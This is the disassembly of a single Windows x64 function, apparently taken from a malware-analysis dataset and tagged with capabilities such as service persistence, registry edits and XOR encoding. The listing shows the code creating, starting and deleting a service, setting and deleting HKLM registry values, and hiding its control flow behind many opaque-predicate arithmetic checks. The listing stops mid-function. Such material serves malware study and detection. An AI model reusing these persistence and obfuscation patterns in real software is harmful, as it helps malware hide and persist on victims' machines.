Function at 0x1400058b0
Capabilities:
Check os version
Create service
Delete registry value
Delete service
Encode data using xor
Initialize winsock library
Persist via windows service
Set registry value
Start service

Disassembly:
push rbp
mov eax, 0x23a0
call fcn.1400ec140
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x118], rdx
mov dword [rbp + 0x114], ecx
call fcn.1400eb190
mov ecx, dword [rbp + 0x114]
mov rdx, qword [rbp + 0x118]
mov dword [rbp + 0x231c], 0
mov dword [rbp + 0x2318], ecx
mov qword [rbp + 0x2310], rdx
mov dword [rbp + 0x230c], 0
mov qword [rbp + 0x2300], 0
mov ecx, 0x101
lea rdx, [rbp + 0x2160]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x1401220c8], 0x94
lea rcx, [0x1401220c8]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov rax, qword [0x140117de0]
mov rcx, qword [0x140117e78]
mov qword [rax + 0x168], rcx
cmp dword [rbp + 0x2318], 2
je 0x1400059d0
mov eax, dword [0x1400fb914]
or eax, dword [0x1400fb918]
mov ecx, 0x8fbb3c7a
xor edx, edx
div ecx
imul eax, eax, 0xe8aa1213
xor eax, 0x92242dd6
cmp eax, 0x608bdc5d
je 0x1400074ae
mov eax, dword [0x1400fb91c]
sub eax, dword [0x1400fb920]
sub eax, 0xb7865d23
add eax, 0x926fa5d7
sub eax, 0x161e7181
cmp dword [rbp + 0x2318], 3
sete cl
mov byte [rbp + 0x113], cl
cmp eax, 0x6a3d0ef3
jb 0x140005987
mov al, byte [rbp + 0x113]
test al, 1
jne 0x1400059d0
jmp 0x1400064e4
mov eax, dword [0x1400fb924]
add eax, dword [0x1400fb928]
or eax, 0x27708ea0
and eax, 0x19b1e31b
imul eax, eax, 0xff7f457d
cmp eax, 0x7d0ce4d2
jae 0x1400074b3
mov eax, dword [0x1400fb92c]
imul eax, dword [0x1400fb930]
imul eax, eax, 0xf3a0c2ac
add eax, 0x5668fb2c
and eax, 0x8610dce7
mov dword [rbp + 0x10c], eax
mov rax, qword [rbp + 0x2310]
mov rcx, qword [rax + 8]
lea rdx, [0x1400fb033]
call sub.msvcrt.dll_strcmp
mov ecx, eax
mov eax, dword [rbp + 0x10c]
cmp ecx, 0
setne cl
mov byte [rbp + 0x112], cl
cmp eax, 0x154f875e
ja 0x1400074b3
mov al, byte [rbp + 0x112]
test al, 1
jne 0x1400064e4
jmp 0x140005a63
mov eax, dword [0x1400fb934]
xor edx, edx
div dword [0x1400fb938]
mov ecx, 0x92804e8a
xor edx, edx
div ecx
sub eax, 0x44a12725
or eax, 0xc3d95b20
cmp eax, 0x37fb991d
jbe 0x1400074cf
mov eax, dword [0x1400fb93c]
imul eax, dword [0x1400fb940]
mov ecx, 0x58d5f196
xor edx, edx
div ecx
mov ecx, 0xc6cdd8af
xor edx, edx
div ecx
mov ecx, 0x697be957
xor edx, edx
div ecx
mov dword [rbp + 0x104], eax
lea rcx, [rbp + 0x160]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r8, qword [rax + 8]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r9, qword [rax + 0x10]
lea rdx, [0x1400fb03d]
call fcn.1400079b0
lea rdx, [rbp + 0x160]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r8, qword [rax + 0x10]
xor eax, eax
mov ecx, eax
mov r9d, 0x44
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, eax
mov eax, dword [rbp + 0x104]
cmp ecx, 6
setne cl
mov byte [rbp + 0x10b], cl
cmp eax, 0xc5bf1a85
jae 0x140005a8f
mov al, byte [rbp + 0x10b]
test al, 1
jne 0x140005b4f
jmp 0x140005baf
mov eax, dword [0x1400fb944]
and eax, dword [0x1400fb948]
add eax, 0x2f23e6d6
imul eax, eax, 0x3d02198c
mov ecx, 0xaafb6d5f
xor edx, edx
div ecx
cmp eax, 0xd3665f0d
je 0x140007534
mov eax, dword [0x1400fb94c]
or eax, dword [0x1400fb950]
xor eax, 0xc7cf4632
and eax, 0x8310c76a
xor eax, 0x3323f143
mov dword [rbp + 0x231c], 1
cmp eax, 0x762a8299
jb 0x140005b7a
jmp 0x140007444
mov eax, dword [0x1400fb954]
sub eax, dword [0x1400fb958]
sub eax, 0xe7f45dac
imul eax, eax, 0x32cf32b3
add eax, 0xc1d22629
cmp eax, 0x58128371
je 0x140007543
mov eax, dword [0x1400fb95c]
xor eax, dword [0x1400fb960]
and eax, 0xc96b08ab
or eax, 0x14edaa
and eax, 0x26227f23
mov dword [rbp + 0xfc], eax
mov byte [rbp + 0x160], 0x22
mov rax, qword [rbp + 0x2310]
mov rdx, qword [rax]
lea r10, [rbp + 0x160]
add r10, 1
xor eax, eax
mov ecx, eax
lea r8, [0x1400fb0df]
mov r9d, 0x100
lea rax, [rbp + 0x22f8]
mov qword [rsp + 0x20], r10
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_SearchPathA]
mov ecx, eax
mov eax, dword [rbp + 0xfc]
mov dword [rbp + 0x230c], ecx
cmp ecx, 0
setne cl
mov byte [rbp + 0x103], cl
cmp eax, 0xd1127b65
ja 0x140005bd6
mov al, byte [rbp + 0x103]
test al, 1
jne 0x140005cea
jmp 0x140005c73
mov eax, dword [0x1400fb964]
or eax, dword [0x1400fb968]
add eax, 0x1c845f14
sub eax, 0x73653261
xor eax, 0x324852cf
cmp eax, 0xf3589f56
je 0x140007592
mov eax, dword [0x1400fb96c]
and eax, dword [0x1400fb970]
add eax, 0x7ee46c16
mov ecx, 0x764cf02f
xor edx, edx
div ecx
add eax, 0xb977d4ac
mov dword [rbp + 0xf8], eax
lea rcx, str.Kldahi_yb_kdci_huhnxyloah_kdahcl_h_r
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0x230c], 0x66
cmp eax, 0xef7b163a
je 0x140005c99
jmp 0x14000743a
lea rcx, [rbp + 0x160]
lea rdx, [0x1400fb107]
call sub.msvcrt.dll_strcat
cmp dword [rbp + 0x2318], 3
jne 0x140005d7f
mov eax, dword [0x1400fb974]
sub eax, dword [0x1400fb978]
or eax, 0x8af0e74
and eax, 0x276f2a28
add eax, 0x8c3a5781
cmp eax, 0x26bb256d
je 0x1400075ad
mov eax, dword [0x1400fb97c]
add eax, dword [0x1400fb980]
mov ecx, 0x4dbd42a4
xor edx, edx
div ecx
add eax, 0x9dbd2af0
and eax, 0xc3699c98
mov rcx, qword [rbp + 0x2310]
mov rcx, qword [rcx + 0x10]
mov qword [rbp + 0xf0], rcx
cmp eax, 0xcfde30e0
jae 0x1400075ad
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0xe8], rax
jmp 0x140005dfa
mov eax, dword [0x1400fb984]
sub eax, dword [0x1400fb988]
and eax, 0x8862f052
xor eax, 0xc5b86c16
or eax, 0x96402a89
cmp eax, 0xf78df844
ja 0x1400075b2
mov eax, dword [0x1400fb98c]
sub eax, dword [0x1400fb990]
and eax, 0xe79fd861
and eax, 0x4faaf5c
xor eax, 0x8214ff1a
mov rcx, qword [0x140117de0]
mov rcx, qword [rcx + 0x168]
mov rcx, qword [rcx + 0xc8]
mov qword [rbp + 0xe0], rcx
cmp eax, 0x1e9793c4
je 0x1400075b2
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0xe8], rax
jmp 0x140005dfa
mov rcx, qword [rbp + 0xe8]
lea r8, [rbp + 0x160]
movsxd rax, dword [rbp + 0x230c]
add r8, rax
add r8, 4
mov edx, 0x100
lea r9, [rbp + 0x22f8]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov dword [rbp + 0x230c], eax
cmp eax, 0
jne 0x140005eac
mov eax, dword [0x1400fb994]
imul eax, dword [0x1400fb998]
add eax, 0xc2173c00
imul eax, eax, 0x104f2df6
or eax, 0xad724826
cmp eax, 0xa3509291
jb 0x1400075b7
mov eax, dword [0x1400fb99c]
xor eax, dword [0x1400fb9a0]
sub eax, 0x57058769
add eax, 0x6d7b74be
or eax, 0x9c3c2f81
mov dword [rbp + 0xdc], eax
lea rcx, [0x1400fb10b]
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0xdc]
mov dword [rbp + 0x230c], 0x67
cmp eax, 0x1a4954c2
jbe 0x1400075b7
jmp 0x14000743a
lea rcx, [rbp + 0x160]
lea rdx, [0x1400fb12a]
call sub.msvcrt.dll_strcat
cmp dword [0x1401220d8], 2
jne 0x1400062c3
mov eax, dword [0x1400fb9a4]
and eax, dword [0x1400fb9a8]
xor eax, 0xe4d1503a
imul eax, eax, 0x9005332c
xor eax, 0x7a6caab8
cmp eax, 0xd0a20655
jae 0x1400075d2
mov eax, dword [0x1400fb9ac]
xor eax, dword [0x1400fb9b0]
add eax, 0x239138df
imul eax, eax, 0x8aaaa50
add eax, 0x616c9f3a
mov dword [rbp + 0xd4], eax
xor eax, eax
mov edx, eax
mov r8d, 0x40000010
mov rcx, rdx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rcx, rax
mov eax, dword [rbp + 0xd4]
mov qword [rbp + 0x158], rcx
cmp rcx, 0
setne cl
mov byte [rbp + 0xdb], cl
cmp eax, 0xc1baa228
je 0x140005ef3
mov al, byte [rbp + 0xdb]
test al, 1
jne 0x140005fda
jmp 0x140005f63
mov eax, dword [0x1400fb9b4]
add eax, dword [0x1400fb9b8]
and eax, 0xec50157f
xor eax, 0xaf133e70
xor eax, 0xaa70f63b
cmp eax, 0x2a1c41a1
je 0x1400075f1
mov eax, dword [0x1400fb9bc]
add eax, dword [0x1400fb9c0]
add eax, 0x3b6bab03
sub eax, 0xbeb63e6e
mov ecx, 0xf466f2db
xor edx, edx
div ecx
mov dword [rbp + 0xd0], eax
lea rcx, [0x1400fb136]
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0xd0]
mov dword [rbp + 0x230c], 0x65
cmp eax, 0xa702b9ff
jae 0x1400075f1
jmp 0x14000743a
mov eax, dword [0x1400fb9c4]
and eax, dword [0x1400fb9c8]
and eax, 0xe13cb193
or eax, 0x87597aad
and eax, 0x6183325e
cmp eax, 0xad289fc2
ja 0x14000760c
mov eax, dword [0x1400fb9cc]
xor edx, edx
div dword [0x1400fb9d0]
and eax, 0x1fb7f9f6
and eax, 0x2b8528b4
and eax, 0x10522bc6
mov dword [rbp + 0xc8], eax
mov rcx, qword [rbp + 0x158]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rdx, qword [rax + 8]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r8, qword [rax + 0x10]
lea rax, [rbp + 0x160]
mov r9d, 0x20000000
xor r10d, r10d
xor r10d, r10d
mov dword [rsp + 0x20], 0x10
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rcx, rax
mov eax, dword [rbp + 0xc8]
mov qword [rbp + 0x158], rcx
cmp rcx, 0
setne cl
mov byte [rbp + 0xcf], cl
cmp eax, 0x66e3bb79
je 0x14000760c
mov al, byte [rbp + 0xcf]
test al, 1
jne 0x140006164
jmp 0x1400060ec
mov eax, dword [0x1400fb9d4]
add eax, dword [0x1400fb9d8]
mov ecx, 0x3a1350d7
xor edx, edx
div ecx
xor eax, 0x3d19caaa
and eax, 0x5be25524
cmp eax, 0xa1c6b195
ja 0x1400076a6
mov eax, dword [0x1400fb9dc]
sub eax, dword [0x1400fb9e0]
add eax, 0xbeff84d0
imul eax, eax, 0xf6d86874
or eax, 0xe25c7caa
mov dword [rbp + 0xc4], eax
lea rcx, [0x1400fb155]
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0xc4]
mov dword [rbp + 0x230c], 0x67
cmp eax, 0xf20e7e9c
je 0x140006116
jmp 0x14000743a
mov eax, dword [0x1400fb9e4]
xor eax, dword [0x1400fb9e8]
mov ecx, 0x5616fe24
xor edx, edx
div ecx
xor eax, 0x59aa04de
sub eax, 0x24094aba
cmp eax, 0x78310565
ja 0x1400076c1
mov eax, dword [0x1400fb9ec]
add eax, dword [0x1400fb9f0]
and eax, 0xf14c4f26
sub eax, 0x16ec6947
sub eax, 0xa46a42d4
mov dword [rbp + 0xbc], eax
mov rcx, qword [rbp + 0x158]
xor edx, edx
xor eax, eax
mov r8d, eax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, eax
mov eax, dword [rbp + 0xbc]
cmp ecx, 0
setne cl
mov byte [rbp + 0xc3], cl
cmp eax, 0x8f4d7b8b
ja 0x1400076c1
mov al, byte [rbp + 0xc3]
test al, 1
jne 0x14000626a
jmp 0x1400061f5
mov eax, dword [0x1400fb9f4]
sub eax, dword [0x1400fb9f8]
add eax, 0x3ab05247
imul eax, eax, 0x171f1110
imul eax, eax, 0xebaddc44
cmp eax, 0x333ac8f7
jb 0x1400076da
mov eax, dword [0x1400fb9fc]
xor eax, dword [0x1400fba00]
or eax, 0xfa31864a
or eax, 0xedeb79fd
add eax, 0x5e60ad02
mov dword [rbp + 0xb8], eax
lea rcx, [0x1400fb16e]
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0xb8]
mov dword [rbp + 0x230c], 0x67
cmp eax, 0x1fe79a7f
je 0x14000621d
jmp 0x14000743a
mov eax, dword [0x1400fba04]
sub eax, dword [0x1400fba08]
add eax, 0x1e789ea1
sub eax, 0x8c9da9af
and eax, 0x6fdd7bd9
cmp eax, 0x88dabdac
ja 0x1400076f5
mov eax, dword [0x1400fba0c]
xor eax, dword [0x1400fba10]
mov ecx, 0x97c1ae26
xor edx, edx
div ecx
or eax, 0x8513f916
mov ecx, 0x75d4ad6a
xor edx, edx
div ecx
cmp eax, 0xaa859294
jae 0x140006290
jmp 0x140006481
mov rcx, 0xffffffff80000002
lea rdx, [0x1400fb186]
xor r8d, r8d
mov r9d, 0xf003f
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 0
je 0x14000636d
mov eax, dword [0x1400fba14]
xor eax, dword [0x1400fba18]
mov ecx, 0xfe44ed3e
xor edx, edx
div ecx
xor eax, 0xdfc9a2b8
xor eax, 0x19ae3ee8
cmp eax, 0x2708a5ad
jb 0x1400076fa
mov eax, dword [0x1400fba1c]
sub eax, dword [0x1400fba20]
or eax, 0xbbf95f4a
imul eax, eax, 0x12e6f8e3
sub eax, 0x2f7f276b
mov dword [rbp + 0xb4], eax
lea rcx, [0x1400fb1bc]
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0xb4]
mov dword [rbp + 0x230c], 0x68
cmp eax, 0x71bbac2c
je 0x14000631f
jmp 0x14000743a
mov eax, dword [0x1400fba24]
xor edx, edx
div dword [0x1400fba28]
or eax, 0x1560e30
mov ecx, 0x1d716107
xor edx, edx
div ecx
xor eax, 0x429600aa
cmp eax, 0xd1411acd
jae 0x140007715
mov eax, dword [0x1400fba2c]
or eax, dword [0x1400fba30]
mov ecx, 0xff7c3b02
xor edx, edx
div ecx
and eax, 0xd7522569
xor eax, 0xca6ae62c
mov dword [rbp + 0xac], eax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x90], rax
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rax, qword [rax + 8]
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x160]
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x160]
call sub.msvcrt.dll_strlen
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0x98]
mov r10, qword [rbp + 0xa0]
add eax, 1
xor r8d, r8d
mov r9d, 2
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, eax
mov eax, dword [rbp + 0xac]
cmp ecx, 0
setne cl
mov byte [rbp + 0xb3], cl
cmp eax, 0x5468e8d4
jb 0x140007715
mov al, byte [rbp + 0xb3]
test al, 1
jne 0x140006461
jmp 0x14000647c
lea rcx, [0x1400fb1d4]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x69
jmp 0x14000743a
jmp 0x140006481
mov eax, dword [0x1400fba34]
and eax, dword [0x1400fba38]
mov ecx, 0xdfe48807
xor edx, edx
div ecx
add eax, 0x71a9c52a
or eax, 0x6dc99a
cmp eax, 0x14cd378b
jbe 0x140007779
mov eax, dword [0x1400fba3c]
and eax, dword [0x1400fba40]
and eax, 0xafccfc23
mov ecx, 0xcb08741a
xor edx, edx
div ecx
or eax, 0xfbbbe149
mov dword [rbp + 0x231c], 0
cmp eax, 0x7c4c9c09
jb 0x140007779
jmp 0x140007444
mov eax, dword [0x1400fba44]
sub eax, dword [0x1400fba48]
imul eax, eax, 0x2244feaa
mov ecx, 0x4936017d
xor edx, edx
div ecx
sub eax, 0x9836c620
cmp eax, 0xc19f7202
ja 0x140007788
mov eax, dword [0x1400fba4c]
xor eax, dword [0x1400fba50]
add eax, 0x2f26265c
sub eax, 0x9a2f9f0c
add eax, 0x7a7f02a2
cmp dword [rbp + 0x2318], 2
sete cl
mov byte [rbp + 0x8f], cl
cmp eax, 0x8e6b06bd
je 0x140007788
mov al, byte [rbp + 0x8f]
test al, 1
jne 0x1400065cd
jmp 0x140006558
mov eax, dword [0x1400fba54]
sub eax, dword [0x1400fba58]
add eax, 0x9125ac2b
or eax, 0xfa155242
xor eax, 0x3f4bccf6
cmp eax, 0xc976c9e9
ja 0x14000778d
mov eax, dword [0x1400fba5c]
xor edx, edx
div dword [0x1400fba60]
xor eax, 0x542d0782
mov ecx, 0xfff3e574
xor edx, edx
div ecx
sub eax, 0x77839ccd
cmp dword [rbp + 0x2318], 3
sete cl
mov byte [rbp + 0x8e], cl
cmp eax, 0x785a5468
jbe 0x14000778d
mov al, byte [rbp + 0x8e]
test al, 1
jne 0x1400065cd
jmp 0x140006bf1
mov eax, dword [0x1400fba64]
xor eax, dword [0x1400fba68]
xor eax, 0xc2888a85
mov ecx, 0xafe0dae2
xor edx, edx
div ecx
and eax, 0xeff60d51
cmp eax, 0xacf74cfd
jae 0x140007792
mov eax, dword [0x1400fba6c]
xor edx, edx
div dword [0x1400fba70]
xor eax, 0x8571f568
xor eax, 0xc5c88428
imul eax, eax, 0xc89267c9
mov dword [rbp + 0x88], eax
mov rax, qword [rbp + 0x2310]
mov rcx, qword [rax + 8]
lea rdx, [0x1400fb1f1]
call sub.msvcrt.dll_strcmp
mov ecx, eax
mov eax, dword [rbp + 0x88]
cmp ecx, 0
setne cl
mov byte [rbp + 0x8d], cl
cmp eax, 0xa61589b4
jae 0x140007792
mov al, byte [rbp + 0x8d]
test al, 1
jne 0x140006bf1
jmp 0x140006664
mov eax, dword [0x1400fba74]
or eax, dword [0x1400fba78]
add eax, 0x53635167
or eax, 0xd005cf06
or eax, 0x3e85d15c
cmp eax, 0xfcbb2b32
jbe 0x1400077ae
mov eax, dword [0x1400fba7c]
imul eax, dword [0x1400fba80]
sub eax, 0x227108c1
xor eax, 0x90a27d7b
imul eax, eax, 0xef3f37f1
cmp dword [0x1401220d8], 2
sete cl
mov byte [rbp + 0x87], cl
cmp eax, 0x17839233
je 0x1400077ae
mov al, byte [rbp + 0x87]
test al, 1
jne 0x1400066d5
jmp 0x14000697b
mov eax, dword [0x1400fba84]
or eax, dword [0x1400fba88]
imul eax, eax, 0xac3d6aeb
add eax, 0xbe69f173
xor eax, 0xd50ceab
cmp eax, 0x48ab3c9f
ja 0x1400077b3
mov eax, dword [0x1400fba8c]
xor eax, dword [0x1400fba90]
imul eax, eax, 0x7e9ebd48
imul eax, eax, 0x843ba6af
mov ecx, 0x91326db4
xor edx, edx
div ecx
mov dword [rbp + 0x80], eax
xor eax, eax
mov edx, eax
mov r8d, 0x40000000
mov rcx, rdx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rcx, rax
mov eax, dword [rbp + 0x80]
mov qword [rbp + 0x148], rcx
cmp rcx, 0
setne cl
mov byte [rbp + 0x86], cl
cmp eax, 0xe1df52d7
ja 0x1400066fc
mov al, byte [rbp + 0x86]
test al, 1
jne 0x1400067e3
jmp 0x140006771
mov eax, dword [0x1400fba94]
sub eax, dword [0x1400fba98]
imul eax, eax, 0x28b3ef58
and eax, 0x4a5f2c4d
xor eax, 0x129708c6
cmp eax, 0xaa8614
jb 0x1400077d2
mov eax, dword [0x1400fba9c]
add eax, dword [0x1400fbaa0]
and eax, 0x36a77622
sub eax, 0x1cf09f5c
mov ecx, 0x5f439c49
xor edx, edx
div ecx
mov dword [rbp + 0x7c], eax
lea rcx, [0x1400fb1fa]
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0x7c]
mov dword [rbp + 0x230c], 0x6a
cmp eax, 0xdb32c787
ja 0x140006798
jmp 0x14000743a
mov eax, dword [0x1400fbaa4]
sub eax, dword [0x1400fbaa8]
or eax, 0xc7eb7f8e
add eax, 0x3b045b10
xor eax, 0xb07949c8
cmp eax, 0x4c8830e3
jbe 0x1400077ed
mov eax, dword [0x1400fbaac]
sub eax, dword [0x1400fbab0]
and eax, 0xd0fbd4e7
imul eax, eax, 0x9425dee7
xor eax, 0xc29d9701
mov dword [rbp + 0x74], eax
mov rcx, qword [rbp + 0x148]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rdx, qword [rax + 8]
mov r8d, 0x10000
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rcx, rax
mov eax, dword [rbp + 0x74]
mov qword [rbp + 0x148], rcx
cmp rcx, 0
setne cl
mov byte [rbp + 0x7b], cl
cmp eax, 0x8c4f6581
je 0x140006809
mov al, byte [rbp + 0x7b]
test al, 1
jne 0x1400068f4
jmp 0x14000687f
mov eax, dword [0x1400fbab4]
xor eax, dword [0x1400fbab8]
mov ecx, 0xf89e81ac
xor edx, edx
div ecx
xor eax, 0x46e32f9c
or eax, 0x8ed870e0
cmp eax, 0x17f07ce6
je 0x14000781e
mov eax, dword [0x1400fbabc]
or eax, dword [0x1400fbac0]
sub eax, 0xa2acf3c2
or eax, 0x41bf7257
mov ecx, 0xa5d14183
xor edx, edx
div ecx
mov dword [rbp + 0x70], eax
lea rcx, [0x1400fb21a]
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0x70]
mov dword [rbp + 0x230c], 0x6b
cmp eax, 0xed9cf2e3
je 0x14000781e
jmp 0x14000743a
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ADVAPI32.dll_DeleteService]
cmp eax, 0
jne 0x140006925
lea rcx, [0x1400fb231]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x6c
jmp 0x14000743a
mov eax, dword [0x1400fbac4]
and eax, dword [0x1400fbac8]
and eax, 0xcbd89945
add eax, 0xc2648825
or eax, 0x7ad827b8
cmp eax, 0xf5ff479e
je 0x140007839
mov eax, dword [0x1400fbacc]
sub eax, dword [0x1400fbad0]
imul eax, eax, 0x4c0c1197
mov ecx, 0x90afc320
xor edx, edx
div ecx
xor eax, 0x11c0675a
cmp eax, 0x7fafa417
je 0x140007839
jmp 0x140006b91
mov eax, dword [0x1400fbad4]
sub eax, dword [0x1400fbad8]
xor eax, 0xafcccfc8
add eax, 0x848de5
or eax, 0xa97acd41
cmp eax, 0x514cfdbf
je 0x14000783e
mov eax, dword [0x1400fbadc]
xor edx, edx
div dword [0x1400fbae0]
imul eax, eax, 0xf8cb117c
and eax, 0x49a89ecb
mov ecx, 0x25a3b81f
xor edx, edx
div ecx
mov dword [rbp + 0x68], eax
mov rcx, 0xffffffff80000002
lea rdx, [0x1400fb186]
xor r8d, r8d
mov r9d, 0xf003f
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, eax
mov eax, dword [rbp + 0x68]
cmp ecx, 0
setne cl
mov byte [rbp + 0x6f], cl
cmp eax, 0xd1171490
ja 0x1400069a1
mov al, byte [rbp + 0x6f]
test al, 1
jne 0x140006a18
jmp 0x140006a33
lea rcx, [0x1400fb1bc]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x6d
jmp 0x14000743a
mov eax, dword [0x1400fbae4]
imul eax, dword [0x1400fbae8]
or eax, 0xa414212d
and eax, 0xb7b073f
imul eax, eax, 0x5b6083d7
cmp eax, 0x560e0f28
jbe 0x14000786c
mov eax, dword [0x1400fbaec]
imul eax, dword [0x1400fbaf0]
or eax, 0xd3e587ff
add eax, 0x17251742
mov ecx, 0x96607790
xor edx, edx
div ecx
mov dword [rbp + 0x60], eax
mov rcx, qword [rbp + 0x140]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rdx, qword [rax + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, eax
mov eax, dword [rbp + 0x60]
cmp ecx, 0
setne cl
mov byte [rbp + 0x67], cl
cmp eax, 0xa46b7868
ja 0x14000786c
mov al, byte [rbp + 0x67]
test al, 1
jne 0x140006ac6
jmp 0x140006b37
mov eax, dword [0x1400fbaf4]
or eax, dword [0x1400fbaf8]
mov ecx, 0x40fc27a7
xor edx, edx
div ecx
xor eax, 0xb6cbab5c
and eax, 0x6fb61bbb
cmp eax, 0xd512372f
ja 0x140007890
mov eax, dword [0x1400fbafc]
or eax, dword [0x1400fbb00]
and eax, 0xec5b820d
and eax, 0xaf683c36
and eax, 0xad878971
mov dword [rbp + 0x5c], eax
lea rcx, str.Afnkbcshdkbfuub_ntsu_a77i
call sub.msvcrt.dll_perror
mov eax, dword [rbp + 0x5c]
mov dword [rbp + 0x230c], 0x6e
cmp eax, 0xd5b97dcc
je 0x140007890
jmp 0x14000743a
mov eax, dword [0x1400fbb04]
xor edx, edx
div dword [0x1400fbb08]
mov ecx, 0xafeb0c63
xor edx, edx
div ecx
imul eax, eax, 0x95338a49
or eax, 0x73301395
cmp eax, 0x1bf28393
je 0x1400078ab
mov eax, dword [0x1400fbb0c]
imul eax, dword [0x1400fbb10]
and eax, 0x4e8dcdff
imul eax, eax, 0x61a72cdb
add eax, 0x4d3385c8
cmp eax, 0x7b9508d8
jbe 0x1400078ab
jmp 0x140006b91
mov eax, dword [0x1400fbb14]
imul eax, dword [0x1400fbb18]
xor eax, 0xc8d15bf3
mov ecx, 0xcbba6779
xor edx, edx
div ecx
add eax, 0x938f57cb
cmp eax, 0xacb1ed54
ja 0x1400078b0
mov eax, dword [0x1400fbb1c]
xor eax, dword [0x1400fbb20]
sub eax, 0xe58c8c2a
sub eax, 0x29a1a0da
xor eax, 0xe4863cbd
mov dword [rbp + 0x230c], 0
cmp eax, 0xbb39d260
jae 0x1400078b0
jmp 0x14000743a
mov eax, dword [0x1400fbb24]
add eax, dword [0x1400fbb28]
or eax, 0x32e12de
xor eax, 0x554dd40
sub eax, 0xba1eef85
cmp eax, 0x48a813d2
jb 0x1400078bf
mov eax, dword [0x1400fbb2c]
and eax, dword [str.E_p_a]
xor eax, 0xa193d099
and eax, 0x5a851e4b
mov ecx, 0x196748f9
xor edx, edx
div ecx
cmp dword [rbp + 0x2318], 3
sete cl
mov byte [rbp + 0x5b], cl
cmp eax, 0x2d713c15
je 0x140006c17
mov al, byte [rbp + 0x5b]
test al, 1
jne 0x140006c5e
jmp 0x140006cf9
mov eax, dword [0x1400fbb34]
xor edx, edx
div dword [0x1400fbb38]
xor eax, 0xb30049f4
xor eax, 0x6668b260
sub eax, 0xd27dbd61
cmp eax, 0xfd531812
jae 0x1400078c4
mov eax, dword [0x1400fbb3c]
imul eax, dword [0x1400fbb40]
xor eax, 0x53910e14
add eax, 0x6133dce1
sub eax, 0xb321d9ff
mov dword [rbp + 0x54], eax
mov rax, qword [rbp + 0x2310]
mov rcx, qword [rax + 0x10]
lea rdx, [0x1400fb263]
call sub.msvcrt.dll_strcmp
mov ecx, eax
mov eax, dword [rbp + 0x54]
cmp ecx, 0
setne cl
mov byte [rbp + 0x5a], cl
cmp eax, 0xddd454c1
jbe 0x1400078c4
mov al, byte [rbp + 0x5a]
test al, 1
jne 0x140006cf9
jmp 0x140006ce5
mov dword [0x1401220a8], 1
mov dword [rbp + 0x2318], 2
mov eax, dword [0x1400fbb44]
add eax, dword [0x1400fbb48]
and eax, 0x456d4534
add eax, 0x64381c74
xor eax, 0xeadc67fd
cmp eax, 0xab5df1a8
jae 0x1400078e0
mov eax, dword [0x1400fbb4c]
xor edx, edx
div dword [0x1400fbb50]
xor eax, 0x11c75aee
imul eax, eax, 0xf3a080f2
sub eax, 0x76c4a240
cmp dword [rbp + 0x2318], 2
sete cl
mov byte [rbp + 0x53], cl
cmp eax, 0x2ae82797
jb 0x140006d1f
mov al, byte [rbp + 0x53]
test al, 1
jne 0x140006d65
jmp 0x140006d79
mov rax, qword [rbp + 0x2310]
mov rax, qword [rax + 8]
mov qword [rbp + 0x48], rax
jmp 0x140006df1
mov eax, dword [0x1400fbb54]
xor edx, edx
div dword [0x1400fbb58]
and eax, 0xeac7aca1
add eax, 0x18268ecc
and eax, 0x170141c1
cmp eax, 0x7c6ffb65
jae 0x1400078e5
mov eax, dword [0x1400fbb5c]
add eax, dword [0x1400fbb60]
mov ecx, 0xeabe86e7
xor edx, edx
div ecx
add eax, 0x9114a015
and eax, 0x2695c4c0
mov rcx, qword [0x140117de0]
mov rcx, qword [rcx + 0x168]
mov rcx, qword [rcx + 0xc8]
mov qword [rbp + 0x40], rcx
cmp eax, 0xe6f63644
ja 0x1400078e5
mov rax, qword [rbp + 0x40]
